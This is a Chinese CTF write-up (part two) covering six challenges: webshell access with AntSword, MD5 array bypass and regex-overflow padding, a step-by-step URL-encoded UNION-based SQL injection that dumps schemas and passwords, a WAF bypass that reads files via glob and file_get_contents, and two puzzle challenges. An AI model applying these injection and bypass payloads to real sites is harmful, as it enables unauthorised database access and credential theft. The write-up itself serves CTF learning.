2023ctf大赛真题高质量wp!(下)

发布时间:2026/10/7 23:51:13

2023ctf大赛真题高质量wp!(下) 希望看完之后可以对你熟悉ctf比赛以及提高技术水平有所帮助9.where_is_the_flag进⼊靶机标准的⼀句话⽊⻢打开蚁剑添加数据由此可以轻松拿到flag1返回根⽬录⼜能找到flag2最后flag3需要打开虚拟终端echo $FLAG3得到完整flag10.绕进你的心里分析命令⾏get输⼊两个MD5值相等但不同的两个值可以⽤数组的⽅式绕过?hongmeng[0]1shennong[0]2接下来是post输⼊的pan_gustripos函数要求字符串中要包含2023ISCTFpreg_match正则匹配函数 /i 表示不区分⼤⼩写/s 表示字⺟不能让它匹配到ISCTF垃圾数据逃逸⼤量垃圾数据使检测的过程崩溃我在160k字典后⾯加上了2023ISCTF得到flag11.easy_websitesql注⼊显示数据库查询失败说明是闭合⽽且有过滤order变成了der空格也没了⽤url编码%6f代替o绕过or过滤代替空格1%6frderby4#⼆分法继续往下爆字段最后发现字段为1经过测试发现union select也被过滤全部转换为url编码爆schema1%75%6e%69%6f%6e%73%65%6c%65%63%74schema_namefrominf%6frmation_schema.schemata#要让他显示多⾏内容要⽤到groupconcat函数1%75%6e%69%6f%6e%73%65%6c%65%63%74group_concat(schema_name)frominf%6frmation_schema.schemata#找到users的库⾥继续爆tablewhere指定在users的库中1%75%6e%69%6f%6e%73%65%6c%65%63%74group_concat(table_name)frominf%6frmation_schema.tableswheretable_schemausers#爆column1%75%6e%69%6f%6e%73%65%6c%65%63%74group_concat(column_name)frominf%6frmation_schema.columnswheretable_nameuser#在password列⾥找明指 users数据库下的users表and也⽤url编码绕过过滤1%75%6e%69%6f%6e%73%65%6c%65%63%74group_concat(column_name)frominf%6frmation_schema.columnswheretable_schemausersa%6edtable_nameusers#最后看字段内容1%75%6e%69%6f%6e%73%65%6c%65%63%74passw%6frdfromusers.users%23还是⽤groupconcat1%75%6e%69%6f%6e%73%65%6c%65%63%74group_concat(passw%6frd)fromusers.users#得到flag12.wafr找到没被过滤的并且能够读取⽂件的函数var_dump() 显示参数信息/输出内容file_get_contents() 将⽂件读⼊⼀个字符串var_dump(file_get_contents(⽂件名)); file_get_contents将⽂件的内容以字符串的形式返回var_dump再对字符串进⾏输出但是file_get_contents不⽀持通配符那么需要⼀个函数⽀持通配符并且能够返回匹配的flag⽂件路径glob() 返回⼀个包含匹配的指定⽂件名或⽬录的数组可以使⽤通配符glob(/f*)[0] - array[0]flag.txt*通配符匹配f开头的⽂件名postcodevar_dump(file_fet_contents(glob(/f*)[0]))得到flag13.签到题下载后是两张图⽚随便拼接⼀下扫描到蓝鲨信息公众号得到flag14.你说爱我尊嘟假嘟下载后改后缀为zip解压得到⼀个⽂件这是⼀个三元密码查到是Ook密码⽤Ook解码需要转换格式其中Ook.最多把⽂档中的你说爱我全部替换为Ook.经过测试尊嘟替换为Ook!假嘟替换为Ook?https://www.splitbrain.org/services/ookild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z⽤base64解码这⾥是变种base64使⽤0-9a-zA-Z/ 为填充得到flag有任何问题都可以随时关注私信
延伸阅读

更多相关文章

2026/10/2 12:06:02

Qt安装助手:自动化部署与智能配置实践

1. 项目概述:为什么我们需要一个Qt安装助手?如果你是一名C或跨平台GUI开发者,那么对Qt这个框架一定不会陌生。它强大、灵活,但那个经典的安装与配置过程,尤其是对于像Qt 5.14.2这样的特定版本,常常让人望而…

2026/10/4 9:39:54

Python 3.10与PyCharm 2021.2安装配置全攻略:从环境变量到虚拟环境

1. 项目概述与环境准备 最近在社区里看到不少朋友在问Python 3.10和PyCharm 2021.2的安装问题,特别是新手,经常卡在环境变量配置或者激活步骤上。作为一个从Python 2.7时代一路用过来的老码农,我深知一个顺畅的起步环境对学习热情和开发效率有…

2026/10/7 23:47:16

秒杀系统库存扣减实战:Redis+Lua脚本实现原子性防超卖

秒杀系统大概是电商场景里最能让后端人“一晚上睡不着”的业务了:瞬时流量能达到日常的几十上百倍,写操作高度集中在少数几个商品上,而最要命的是,库存一旦扣成负数,超卖造成的资损和客诉能把人逼疯。很多同学一听到秒…

2026/10/7 23:47:16

macOS剪贴板历史工具Caveman深度体验:从原理到工作流

如果你常年在 macOS 上讨生活,一定经历过这种时刻:复制了一段代码,正准备粘贴,结果手滑又复制了别的,刚才那段内容就像蒸发了一样找不回来。系统自带剪贴板只能记一条,这个“内存为 1”的设计几乎是所有 Ma…

2026/10/7 23:47:16

AI Agent Skills 实战指南:从安装到编写,打造可复用能力包

这段时间把 Claude 的 agent skills、Codex 的 skills 生态、GitHub 上那些热门 skills 仓库都翻了一遍,又拉着几个常见的 skills 下载平台实测了整个周末。绕了挺多弯路,也踩了几个特别典型的坑。这篇东西不做概念科普,直接讲我在实际使用里…

2026/10/7 23:47:16

密评应用层数据安全防护实战:国密改造与密钥管理全解析

密评这两年已经成了很多企业和政务系统的“硬门槛”,凡是涉及重要数据、个人信息、关键信息基础设施的业务系统,基本都躲不开商用密码应用安全性评估。不少人第一次接到密评整改通知时是懵的,以为只是把接口从HTTPS换成国密SSL、把AES换成SM4…

2026/10/7 23:47:16

context-mode:命令行上下文切换与隔离实战指南

不是标题党,先解释一下:这里的“context-mode”不是某个特定软件的名字,而是我最近把自己的一套命令行工作流重构后,提炼出来的一个通用功能——上下文模式。说白了,它解决的是每个开发者和运维日常都会撞上的问题&…

2026/10/7 23:42:16

Agent实践:基于Tool Calling与Pydantic的结构化输出问答器

1. 为什么要做结构化输出问答器1.1 聊天式回答的业务困境这个系列前面几篇都在聊Agent框架、工具编排这些东西,看起来都挺“聪明”的,但真把一个Agent放进业务链路里,最先卡住你的往往不是模型聪明不聪明,反而是输出太“自由”。我…

2026/10/5 6:32:56

Jev+Agent接管浏览器:browser-use实战与jev-ultrafast性能优化

1. 从“Jev”说起:为什么我要把Agent接进浏览器“Jev”这个词最近在圈子里出现的频率越来越高,很多人第一次听到会以为是某个新模型的名字,其实它更像是一种思路——把Jev模型的能力当作底座,通过Agent的方式去接管浏览器&#xf…

2026/10/7 8:18:33

多智能体集群实战:DeepAgents编排、MCP与A2A协议及Skills体系

1. 从"单兵作战"到"集群协同":多智能体编排到底在解决什么问题如果你最近在折腾 Agent 相关的东西,大概率会有一种感觉:单个 Agent 能做的事情,其实很快就摸到天花板了。你给它一个提示词,挂几个工…

2026/10/6 17:46:51

无源低通滤波器设计实战:从RC到LC,手把手教你避开那些坑

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/7 1:05:03

ESP32免重刷固件:浏览器直接修改NVS键值实现WiFi配置更新

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/7 1:05:03

SAP HANA查询结果导出CSV:避开乱码、性能与权限的实用指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/7 1:05:03

数字后端Placement阶段Density与Congestion控制实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑